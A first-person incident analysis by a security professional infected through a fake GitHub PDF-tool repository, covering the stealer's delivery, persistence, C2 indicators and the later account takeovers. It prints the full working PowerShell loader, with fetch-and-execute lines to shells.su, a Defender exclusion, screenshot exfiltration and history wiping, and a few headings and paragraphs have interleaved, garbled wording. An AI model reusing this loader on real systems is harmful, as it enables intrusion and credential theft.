Hey, You Hacked a Red Teamer — Here’s My Revenge
As an offensive security professional, I naturally focus on offensive techniques, and most of my previous writing has covered red teaming, security research, and other offensive-security topics. This article is therefore unusual for me: this time, I was not the one attacking. I was the victim.
I have to admit that having my personal computer compromised after executing a malicious script was somewhat embarrassing, and the incident caused a fair amount of disruption. At the same time, it also became an unforgettable and valuable lesson for me. What made the incident particularly interesting was that my offensive-security background brought both advantages and a blind spot.
Because I spend so much time thinking like an attacker, I understand that mindset reasonably well. Based on observed code quality, OPSEC, engineering maturity, and other operational choices, I could profile the threat actor and decide where to investigate first rather than treating every possible TTP as equally likely. That intuition helped me locate the payload and persistence quickly and cut off their host-level access within a relatively short time window.
But the same mindset also created my blind spot. As a red teamer, I am accustomed to chasing the ultimate objective: the crown jewels, privileged access, or whatever represents the final goal of an engagement. Real threat actors do not necessarily think that way. Almost every piece of loot can be valuable or tradable to someone. They do not need to reach the crown jewels for the compromise to be profitable. The compromise itself can already be a success, and so can individual pieces of data stolen along the way.
Part One focuses on that incident: the initial compromise, first-round malware analysis, persistence hunting, host-access removal, and the aftermath of that blind spot.
Of course, after all, I am still a red teamer, and I refused to remain the victim for too long. Part Two is where my revenge begins. I did not hack back. Being a victim does not make unauthorized intrusion ethical or authorized. But that did not mean I had to stop investigating. There were other ways to make life considerably more painful for the people behind the operation: exposing the broader info-stealer network, tracing the infrastructure and public identities around it, and eventually identifying one particularly interesting individual who appeared to be part of that economy.
NeverThe AssumeStory aBegan in an Assumed Safehouse: A GitHub Repository Is a Safehouse
I was looking for an open-source alternative for PDF reading and editing when I came across a GitHub repository that initially appeared reasonably credible.legitimate. It had a non-trivialdecent number of stars and forks, and the README was concise, with a one-line installation command that addressed exactly what most users want: minimal setup and immediate execution.
GitHub is generally a trustworthy platform, despite the fact that malicious repository campaigns are certainly notnothing new. AtHowever, the time, the repositoryI did not lookthink suspicioustoo enoughmuch forabout me to stopit and investigatesimply it first, so I executedran the provided one-liner...
The installation appeared to requiretake some time. While waiting, I went back and reviewed the README more carefully. That was when several red flags became obvious:
Most of theThe READMEcontentwashadnotlittle or no apparent relationshiprelevant to PDFsoftware.software at all.- The external domain referenced by the installation command looked unusual.
TheWhile the repository had areasonabledecent number of stars and forks,butthe accountbehind ititself was very new.
I immediately interrupted the installation. At that point, I assumedknew thatit was already too late, and some execution hadmust alreadyhave occurred. StoppingEven so, stopping the script was therefore not a remediation by itself, but there was still valuevaluable in preventing whatever had not yet completed. InAnd an active compromise, reducing the remaining exposure is better than waiting for the entire execution chain to finish. Fromfrom that moment on, I treatedhad the situation as ato race against time. And the powershell one liner is the first clue that I want to look into.
Stage 1: PowerShell Delivery
The installation command retrieved and executed a remote PowerShell script through Invoke-Expression. The first-stage script was relatively small: it selected TLS 1.2 and decoded a Base64 string using FromBase64String and UTF-8 before passing the result onward.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$encodedCommand = "aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZHptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0VqSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4"
$decodedCommand =
[System.Text.Encoding]::UTF8.GetString(
[Convert]::FromBase64String($encodedCommand)
)
Decoding the Base64 content produced:
irm -Uri "https://shells.su/encrypted/api.ps1" `
-UserAgent "aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs" |
iex
Its purpose was therefore straightforward: retrieve a second-stage PowerShell script from shells[.]su and immediately execute the response. The addresses in this article are defanged; they are evidence, not installation instructions.
One interesting detail is that the live version of this first-stage script later changed. At the time of my compromise, only the URI itself was encoded; the operator subsequently modified the delivery chain so that the complete secondary request, including the custom User-Agent, was hidden inside the Base64 blob. This suggested that the infrastructure was still being actively maintained rather than representing an abandoned one-off campaign.
Stage 2: Loader, Victim Telemetry, and Staging
The second-stage script was substantially more important because it exposed most of the initial execution chain.
# ------------------------------------ LAUNCH ------------------------------------- #
$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
[Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials
function Show-Progress {
param(
[int]$Percent,
[string]$Text = ""
)
$esc = [char]27
$width = 20
$filled = [math]::Floor($width * $Percent / 100)
$empty = $width - $filled
$gray = "$esc[100m"
$darkGray = "$esc[48;5;236m"
$reset = "$esc[0m"
[Console]::Write(
"`r $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
)
}
# ----------------------------------- VARIABLES ----------------------------------- #
$site = "https://shells.su"
$zipUrl = "$site/encrypted/1.zip"
$7zaUrl = "$site/encrypted/7za.exe"
$password = '1'
$exePath = '1/Helper.exe'
$work = Join-Path $env:TEMP "svc_$(Get-Random)"
$zip = Join-Path $work '1.zip'
$7za = Join-Path $work '7za.exe'
$dest = Join-Path $work 'out'
# ----------------------------------- VARIABLES+ ---------------------------------- #
$pcName = $env:COMPUTERNAME
$userAgent = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"
$startUrl = "$site/start.php"
$screenUrl = "$site/screen.php"
$endUrl = "$site/end.php"
$firstStepText = '[1/3] Checking for Updates...'
$secondStepText = '[2/3] Initialization Components...'
$thirdStepText = '[3/3] Running Application...'
$firstSubstepText = '[SUCCESSFULLY]'
$secondSubstepText = '[SUCCESSFULLY]'
$thirdSubstepText = '[ERROR]'
if (Test-Path $work) { Remove-Item $work -Recurse -Force }
New-Item -ItemType Directory -Path $work -Force | Out-Null
# ---------------------------------- ADMIN RIGHTS --------------------------------- #
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
# [STEP 1/3]:
Clear-Host
Write-Host "`n $firstStepText" -ForegroundColor Cyan
if (-not $isAdmin) {}
if ($isAdmin) {
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
}
# ---< REQUEST 1 >---------------------- GEO -------------------------------------- #
$country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName
filter CustomTrim { $_ -replace '[\r\n\t]', '' }
$geoServices = @(
@{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
@{ Uri = "https://ipapi.co"; Path = $null },
@{ Uri = "https://ipinfo.io"; Path = $null }
)
foreach ($service in $geoServices) {
try {
$response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop
if ($response) {
if ($service.Path -and $response.$($service.Path)) {
$country = $response.$($service.Path).Trim().ToUpper()
} else {
$country = ($response | CustomTrim).ToUpper()
}
if ($country -match '^[A-Z]{2}$') {
break
}
}
}
catch {
continue
}
}
# ------------------------------------- LINKS ------------------------------------- #
$startRequest = "${startUrl}?pc=${pcName}&country=$country"
$screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
$endRequest = "${endUrl}?pc=${pcName}&country=$country"
# ---< REQUEST 2 >--------------------- START ------------------------------------- #
try {
$startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
if (-not [string]::IsNullOrWhiteSpace($startScript)) {
$startBlock = [scriptblock]::Create($startScript)
& $startBlock
}
}
catch {
Write-Warning "$_"
}
# ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #
try {
if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }
Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
}
catch {}
# ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
try {
$bounds = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$gfx = [System.Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$ms = New-Object System.IO.MemoryStream
$bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
$gfx.Dispose()
$bmp.Dispose()
$base64 = [Convert]::ToBase64String($ms.ToArray())
$ms.Dispose()
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}
# [SUBSTEP 1/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
}
Show-Progress 100
Write-Host "$firstSubstepText" -ForegroundColor Green
Start-Sleep -Seconds 3
# --------------------------------- OPEN & LOGGING -------------------------------- #
# [STEP 2/3]:
Clear-Host
Write-Host "`n $secondStepText" -ForegroundColor Cyan
try {
if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }
$unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")
$null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1
if ($process.ExitCode -ne 0) {
throw "[ERROR LOG] 7za: $($process.ExitCode)"
}
}
catch {}
# [RUN FILE]
$exe = Join-Path $dest $exePath
try {
if (Test-Path $exe) {
Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop
} else {
throw "[ZIP] - Error code: 2"
}
}
catch {
Write-Warning "$_"
}
if (Test-Path $work) {
Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
}
# [SUBSTEP 2/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
}
Show-Progress 100
Write-Host "$secondSubstepText" -ForegroundColor Green
Start-Sleep -Seconds 3
# ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #
# [STEP 3/3]:
Clear-Host
Write-Host "`n $thirdStepText" -ForegroundColor Cyan
try {
$endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
if (-not [string]::IsNullOrWhiteSpace($endScript)) {
$endBlock = [scriptblock]::Create($endScript)
& $endBlock
}
}
catch {
Write-Warning "$_"
}
# [SUBSTEP 3/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
}
Show-Progress 100
Write-Host "$thirdSubstepText`n" -ForegroundColor Red
Start-Sleep -Milliseconds 500
Write-Host " [ERROR] Failed to load DLL: keygen.dll`n [ERROR] The specified module could not be found.`n [ERROR] Error code: 0x8007007E`n [ERROR] One or more dependencies may be missing.`n [ERROR] Operation failed." -ForegroundColor Red
# ENDING SCREENSHOT
try {
$bounds = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$gfx = [System.Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$ms = New-Object System.IO.MemoryStream
$bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
$gfx.Dispose()
$bmp.Dispose()
$base64 = [Convert]::ToBase64String($ms.ToArray())
$ms.Dispose()
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}
Read-Host -Prompt "`n Press Enter to exit"
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Its behavior can be summarized as follows:
Environment setup and privilege check
↓
Temporary working directory / attempted Defender exclusion
↓
Country and host reconnaissance
↓
Start callback / attempted server-supplied PowerShell execution
↓
Encrypted payload archive and 7-Zip downloaded
↓
Desktop screenshot collection and exfiltration
↓
Payload extraction and execution
↓
Temporary artifact cleanup
↓
End callback / attempted server-supplied PowerShell execution
↓
Second screenshot and PowerShell history cleanup
The script configured TLS 1.2 and explicitly inherited the system proxy together with the current user's default network credentials:
[Net.WebRequest]::DefaultWebProxy =
[Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials =
[Net.CredentialCache]::DefaultNetworkCredentials
This is a small but notable implementation detail. It improves compatibility with environments where outbound HTTP traffic must traverse an authenticated corporate proxy. It does not mean that the malware specifically targeted enterprises, but the author had considered environments beyond a simple home network.
The loader then defined the staging locations:
site: hxxps://shells[.]su
archive: /encrypted/1.zip
extractor: /encrypted/7za.exe
password: 1
work: %TEMP%\svc_<random>
output: %TEMP%\svc_<random>\out\
In the version I recovered during the incident, the final executable was 1.exe. The later loader snapshot instead expected 1/Helper.exe. That difference is important for the timeline: later snapshots should not be treated as byte-for-byte representations of the version that infected my machine.
Defender Evasion
If the PowerShell process was already running with administrative privileges, the loader attempted to exclude its temporary working directory from Windows Defender:
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue
The later version did not actually perform an elevation attempt when the user was non-administrative:
if (-not $isAdmin) {}
This is another area where the delivery chain changed over time. The incident-time notes recorded a RunAs relaunch attempt in the earlier script; that depended on user approval, not a silent UAC bypass. The later reverse engineering of the executable also identified privilege-related functionality in the RAT itself, making it plausible that some responsibilities had shifted away from the PowerShell layer. Plausible, however, is not the same as having recovered the operator's development history.
Victim Registration and Geographic Profiling
Before downloading the executable payload, the loader attempted to determine the victim's country. It first used the system region as a fallback, then queried public geolocation services including ipwho.is, ipapi.co, and ipinfo.io.
It constructed three staging URLs:
/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>
At first glance, these endpoints appeared to serve primarily as victim-registration and telemetry infrastructure. The staging server received the computer name and country, while screen.php was used separately for screenshot exfiltration. Closer inspection of start.php and end.php, however, revealed an additional capability. The loader attempted to capture the response and execute it as PowerShell:
$startScript = Invoke-RestMethod -Uri $startRequest ... | Out-Null
if (-not [string]::IsNullOrWhiteSpace($startScript)) {
$startBlock = [scriptblock]::Create($startScript)
& $startBlock
}
The same pattern appeared later with end.php. Because the requests carried pc and country, the server had victim-specific attributes available when generating its response. In principle, this could support different follow-on actions for different hosts or locations. Without the server-side PHP implementation, I cannot confirm whether such selective behavior was actually implemented.
There was, however, a significant implementation bug. Piping the result into Out-Null discarded the HTTP response before it could be assigned to $startScript. The request itself would still be sent, so the server would still receive the victim information, but the subsequent execution branch would have no response to execute. The same mistake affected $endScript. The operator had apparently built a server-controlled execution path and then accidentally disabled it. In my case, that path appears to have failed because of the attacker's own bug—not because of anything I did during containment. That part was luck.
The staging infrastructure therefore served victim identification, screenshot collection, and an attempted server-controlled PowerShell mechanism. The RAT's runtime C2 was separate from this layer.
Screenshot Exfiltration
The loader captured the complete Windows virtual desktop using [Windows.Forms.SystemInformation]::VirtualScreen and $gfx.CopyFromScreen(...). The bitmap was encoded as PNG, converted to Base64, and submitted to screen.php with the computer name:
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
In the later snapshot, this happened once before the executable payload was launched and again near the end of the fake installation process. If the requests succeeded, whatever was visible across my displays had already been exposed. There was no realistic way to “undo” that part. That realization shaped my immediate response priorities. I divided the situation into damage that had already happened and adversary activity that I could still stop. The screenshots belonged to the first category. The RAT process, persistence, and C2 connectivity belonged to the second, so I focused on the latter.
At the time, this seemed like the obvious prioritization. What I had not yet appreciated was that some stolen information does more than describe the past: it continues granting access. That distinction would become unpleasantly relevant after cleanup
Payload Delivery
The loader downloaded /encrypted/1.zip and /encrypted/7za.exe, then extracted the password-protected ZIP using the password 1. Whatever else that password was intended to accomplish, secrecy from the recipient was clearly not one of its strengths.
The extracted payload was launched using:
Start-Process $exe `
-WorkingDirectory (Split-Path $exe) `
-Wait
That WorkingDirectory detail later became relevant during cleanup because the temporary extraction directory remained locked by processes holding handles to it. The directory's continued existence was an investigative clue, not by itself proof of a second persistent payload.
User Deception
The script attempted to make the execution look like an ordinary installer or updater. It displayed three stages:
[1/3] Checking for Updates...
[2/3] Initialization Components...
[3/3] Running Application...
These were accompanied by artificial progress bars and randomized sleep intervals. At the end of the sequence, it deliberately printed:
[ERROR] Failed to load DLL: keygen.dll
[ERROR] The specified module could not be found.
[ERROR] Error code: 0x8007007E
[ERROR] One or more dependencies may be missing.
[ERROR] Operation failed.
This was not a genuine installation failure. It was part of the deception. At the simplest level, the message explained why the expected application never appeared: the crack or application had failed because one of its dependencies was missing. Meanwhile, the malicious execution chain had already run. The fake error did something more useful than making the script look like a broken installer. It supplied an explanation that could bring the victim's investigation to a premature end.
From the victim's perspective:
Download software → Run installer → keygen.dll is missing
→ Installation failed → Find another download
From the attacker's perspective:
Execute loader → Reconnaissance → Screenshot exfiltration
→ RAT deployment → Fake DLL error
The deception did not need to withstand malware analysis. It did not even need to convincingly hide every malicious artifact. It only needed to stop the victim from questioning the apparent cause of the failed installation. If an Instagram, Steam, or Discord account began behaving strangely days later, there would be little reason to connect it with an apparently unrelated installation failure.
Anti-Forensics
Finally, the loader attempted to erase PowerShell command history:
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Remove-Item (Get-PSReadlineOption).HistorySavePath `
-Force `
-ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
This targets the user's PSReadLine history, including ConsoleHost_history.txt. It is useful against casual inspection, but it is far from comprehensive forensic cleanup. It does not remove independent evidence that may have been recorded in PowerShell Operational logs, process-creation telemetry, EDR records, network logs, or other host artifacts. The code was pragmatic and sometimes error-prone rather than elegant. During extraction, it checked $process.ExitCode despite never assigning $process; the earlier Out-Null mistake was a more consequential example of the same uneven engineering.
Hunting the Payload and Its Persistence
With both PowerShell stages understood, I had a reasonably clear picture of the initial compromise. Host information had been submitted to the staging infrastructure, screenshots had likely been exfiltrated, and the executable payload had already been launched. The objective was no longer to prevent the compromise, but to contain what was still active. Fortunately, the second-stage script exposed the extraction location:
%TEMP%\svc_<random>\out\1\1.exe
I preserved a copy as a sealed sample for later analysis, then removed the executable from the original delivery location. Removing the initial payload, however, was obviously not sufficient. By that point, I had to assume that persistence had already been established.
There were essentially two ways forward: enumerate plausible persistence mechanisms manually, or reverse engineer the sample and let the malware tell me what it had done. The more practical answer was to do both in parallel. I submitted the preserved sample to sandbox/static-analysis workflows and also used AI-assisted reverse engineering with GPT-5.6 Sol and Opus 5. I did not treat either model as an oracle. An automated pass over an obfuscated malware sample can miss quite a lot. But even an incomplete analysis can save substantial time during an active incident by identifying functions, strings, API usage, persistence paths, and C2 behavior while the human investigator focuses on the live host.
That was the purpose of the first pass: actionable triage, not an exhaustive account of every capability. Part Two returns to exactly what remained unanswered.
Prioritizing the Persistence Search
The difficulty with persistence hunting is that the search space is enormous. A Windows implant can survive through scheduled tasks, services, Run keys, startup folders, WMI subscriptions, Winlogon modifications, IFEO, COM hijacking, DLL-loading mechanisms, and many other techniques. I therefore needed to prioritize. This was one of the stages where my offensive-security background gave me a genuine advantage.
By this point, the PowerShell stages had revealed quite a lot about the engineering style surrounding the operation: Add-MpPreference, temporary working directories, an external copy of 7za.exe, direct network requests, and several visible programming mistakes. I found myself asking the same kind of question I might ask during an offensive engagement:
If I were building this at approximately the level of engineering maturity I had observed so far, what would I use?
Scheduled tasks and other conventional boot/logon mechanisms seemed like more probable starting points than an elaborate COM-hijacking chain or a fragile, obscure persistence technique. This was not evidence. It was a heuristic—a bet on the attacker's implementation choices. A crude PowerShell loader does not prove that the native payload behind it is equally crude. Different components can be written by different developers or borrowed from different projects; the executable would indeed prove more protected and capable than the surrounding script initially suggested.
The intuition changed my search order. It did not justify excluding everything else. In this case, however, the bet paid off quickly. I identified a second copy of the payload at:
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
The location was chosen to resemble a legitimate Windows component. The parent directory had also been given Hidden and System attributes. More importantly, the supposedly separate RuntimeBroker.exe was not a different executable at all: its hash matched the original 1.exe. Later reverse engineering clarified the self-copy sequence. The filesystem timeline already supplied a particularly useful connection:
2026-08-16, local time (EDT)
23:44:56 RuntimeBroker.exe created
23:44:57 Four malicious scheduled tasks created
The four tasks were:
\Microsoft\Location\MicrosoftUpdaterMachineCore
\Microsoft\Windows\EDP\ScheduledDef
\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins
All four launched the same RuntimeBroker.exe. One used a repeating 30-minute trigger; the remaining three used boot triggers. The definitions ran under the built-in Administrator SID (...-500) with InteractiveToken and HighestAvailable. The retained task XML and timestamps—not just the names—were the important evidence. Deeper reverse engineering later identified Task Scheduler COM usage rather than a simple schtasks.exe command. This was a useful reminder not to confuse a conventional objective with an absence of implementation skill.
The sample also stored C2 configuration under HKCU\Software\Microsoft\Event and the value was System. That was configuration storage, not another way to start the malware. The execution persistence came from the scheduled tasks.
The RAT also created the mutex:
Global\RuntimeBrokerAds
to enforce a single running instance.
This time, my initial bet had been useful. The important words are this time.
Parallel Reverse Engineering
Around the same time, the automated analyses began returning useful results. Neither independently recovered the complete picture, but their findings overlapped with artifacts I was seeing on the host and exposed additional capabilities. The emerging picture was a custom x64 C++ RAT/backdoor. Its runtime C2 used a WebSocket-based channel to 145.63.134[.]94:406; a secondary HTTP task channel used port 408. The analysis also identified support for updated *.duckdns.org endpoints. Protocol strings included:
ready; getinfo ping pong
task createtask closetask task_id;
task_done; update
The early analysis associated command execution with the straightforward primitive cmd.exe /C <command>. The WebSocket handshake contained an especially distinctive artifact:
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
That is the example nonce in RFC 6455, not a newly randomized key. In this context, its repeated use was a useful network indicator. It was not, on its own, a malware-family attribution
The binary was also more heavily protected than the PowerShell loader suggested. The analysis identified encrypted strings, dynamic API resolution, control-flow and MBA-style obfuscation, and anti-analysis checks covering multiple virtualized environments—including an explicit anyrun GPU indicator. Other recovered references and paths involved process-critical behavior, privilege adjustment, WMI-based antivirus discovery, AMSI-related manipulation, and native memory/thread APIs such as NtAllocateVirtualMemory, NtWriteVirtualMemory, and NtCreateThreadEx. Process names including winlogon, smartscreen, and explorer.exe were also relevant to the early analysis. These were leads into the implementation, not proof that every associated technique successfully ran on my workstation.
I would not characterize the result as an especially advanced implant by high-end red-team standards. At the same time, it was certainly not trivial malware: custom obfuscation, dynamic API resolution, sandbox checks, redundant scheduled tasks, and a functional tasking protocol were quite enough to cause trouble. In other words, it did not need to be elegant to be dangerous.
Knowing that port 408 existed was not the same as understanding the complete module-delivery path. At the time, I had enough to hunt the foothold. The unresolved details would become the starting point for a much more productive second analysis.
Multiple Persistence Mechanisms, but One Executable
Every autostart mechanism I identified converged on the same executable:
1.exe
↓ self-copy
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
↑
├── MicrosoftUpdaterMachineCore
├── ScheduledDef
├── ProgramDataUpdate
└── SvcRestartTaskWindowsLogins
That was probably the most reassuring technical finding during containment. There were multiple ways to relaunch the malware, but only one on-disk executable behind the identified autostarts. That wording matters. It was not proof that the executable had never downloaded another module, injected code, or collected information before I arrived. It meant that the persistence paths I had found shared a dependency. From the attacker's perspective, this created a single point of failure: once those tasks were removed and the RuntimeBroker.exe copy was deleted, those particular relaunch paths became useless.
I have to admit that this realization produced a small amount of cold sweat in retrospect. Had the malware installed several independent footholds—a scheduled-task executable, a service binary, a WMI-launched script, and a separate side-loaded component—manual containment would have been considerably more difficult. Missing a single independent branch could have allowed the attacker to regain execution and rebuild the others. This incident was more forgiving.
Verification After Cleanup
I did not stop after removing the four known scheduled tasks and the persistent executable. I continued checking the other common persistence surfaces: services, Run/RunOnce keys, startup folders, Winlogon configuration, WMI permanent event subscriptions, and suspicious scheduled-task actions. Nothing else produced an independent executable or an additional autostart path associated with the malware. That gave me reasonable confidence that the identified host-level persistence had been removed. It was not a mathematical proof that the machine was pristine.
At the time, it nevertheless felt like the end of the incident. It was not.
The Aftermath
After removing the known persistence mechanisms and verifying that the persistent payload was no longer present, I considered the host-level incident contained. I was exhausted and, at that point, reasonably confident that the immediate threat had been removed. But that confidence did not last very long.
When I later checked Discord, I found that my primary account had been signed out. Attempts to authenticate failed. Reviewing the associated email account immediately explained why: there were unread messages containing a password-reset request, confirmation that the password had changed, and a separate notification about activity that violated Discord's policies.
The account had been taken over. Because the password reset had been completed through the associated mailbox, the email account itself had very likely been accessed as well. Google had also generated a suspicious-activity warning.
Fortunately, I still retained control of the mailbox. I changed its credentials and security settings, recovered the Discord account through support, and subsequently hardened both accounts.
Unfortunately, that was not the end of the aftermath.
Account Abuse Across Multiple Services
A series of additional incidents followed across services used on the compromised workstation:
- Instagram was hijacked but not fully seized. The existing account state was used to send spam to contacts, including promotion of
marawex[.]com.
- Steam was similarly abused without a full takeover. Spam was sent through the account, and an unfamiliar account—shown in the later preserved profile as
661SAVAGEEE—was added to Family Sharing. Its subsequent ARC Raiders use and cheating-related enforcement had consequences for my account as well. Part Two examines that trail without equating the downstream account with the malware operator.
- A second Discord account sent spam without a password change. I noticed quickly because my two accounts were connected. The sender then tried to remove the conversation from the compromised account's side. The promoted domain was
tetsobet[.]com.
- Amazon resisted an attempted full takeover but still permitted fraudulent orders. A USD 25 gift card succeeded; a USD 100 attempt was blocked. The actor also ordered vitamins and cat food similar to my previous purchases, apparently trying to blend into my purchasing history.
- Cursor accumulated approximately USD 70 in unauthorized usage. Codex consumed part of my weekly allowance. Claude may also have been exposed: Anthropic detected suspicious activity and invalidated the session before I observed obvious material impact.
The combination of gift-card fraud and familiar household purchases was particularly unpleasant. Whoever was using the account had not merely found a password; they could inspect enough of its history to make the activity look less out of place. Whether that was an attempt to influence fraud controls or simply delay my noticing it remains an inference.
The behavior differed considerably between services. Some actors simply used an existing session to send spam. Others attempted financial fraud, consumed paid AI resources, or abused gaming access. Some avoided changing passwords; others attempted to seize the account outright.
That variation became an important clue. The initial malware execution might have been the collection stage, with the resulting access distributed or consumed downstream. I did not need to assume that one person was personally handling every later account event.
Was the Machine Still Compromised?
The continuing incidents raised an uncomfortable question: had I actually removed the malware completely? I repeatedly revisited the host, checking whether I had missed another executable, persistence mechanism, injected component, or secondary payload. Continued account abuse naturally made incomplete remediation an obvious hypothesis.
As more evidence accumulated, however, a different explanation became stronger. The affected services were ones for which authenticated state already existed on the workstation. Visiting them from my browser often did not require a fresh login. The browser already possessed a valid session, trusted-device state, token, or other authentication material.
I also found suspicious authenticated sessions associated with other geographic regions on services such as ChatGPT and Steam, despite MFA being enabled. MFA at login does not necessarily invalidate an already authenticated session if its bearer material is stolen and remains usable. Steam provided an especially useful example. Its security page associated the suspicious browser activity with an authorization originally established on August 3, before the date of infection:
That was consistent with reuse of previously authorized browser state, rather than necessarily learning my password and defeating Steam Guard again. It also made the sequence more coherent: a new abuse event did not have to mean a new compromise of the workstation.
There were application-specific authentication artifacts to consider as well. Some tools retain reusable credentials locally. The exact files, storage modes, and protections differ; their presence cannot simply be assumed for every installation. The later module analysis would turn several of those possibilities into concrete collection targets.
Taken together, the evidence pointed toward a more likely explanation:
The continued account abuse was primarily the aftermath of authentication material stolen during the original compromise, rather than evidence that the RAT itself was still persistently controlling the machine.
Removing the Malware Was Not the Same as Remediating the Incident
My initial response had been heavily host-centric. I had concentrated on questions such as:
- Is the payload still running, and where did it establish persistence?
- What launches it after reboot, and are there additional copies?
- Is the C2 connection still active?
Those were valid questions. What I had not asked early enough was the second set:
- What had already been stolen before the malware was removed?
- Which authentication artifacts were still valid, and which sessions needed revocation?
- Which services should now be treated as independently exposed?
Looking back, I do not think this was simply a forgotten checklist item. My response sequence had been internally consistent: interrupt execution, understand the loader, locate the payload, preserve the sample, identify persistence, remove the foothold, and verify that it did not return. Almost every action was optimized around one objective: remove the attacker's ability to continue operating on the host. The objective makes intuitive sense from an offensive-security perspective.
During a red-team engagement, a credential, cookie, or token is usually a path rather than a destination. I obtain one because it allows me to authenticate somewhere else, escalate privileges, move laterally, or continue toward an objective. Its value is normally understood in relation to the access chain it enables. An information-stealer ecosystem has a different economic model. Credentials and authenticated sessions do not have to be intermediate steps toward continued control of the original machine. They can themselves be inventory. They can be collected, packaged, distributed, sold, or consumed by someone who has never interacted with the compromised endpoint and may do so long after the original malware operator has disappeared. The adversary therefore did not necessarily need to come back.
That was the mismatch in my original threat model. I was asking: Can the attacker still act on this machine? Recovery also required: What remains unsafe even if the attacker never touches this machine again?
From the first perspective, my remediation looked successful:
Known RAT and persistent executable → removed
Identified scheduled tasks → removed
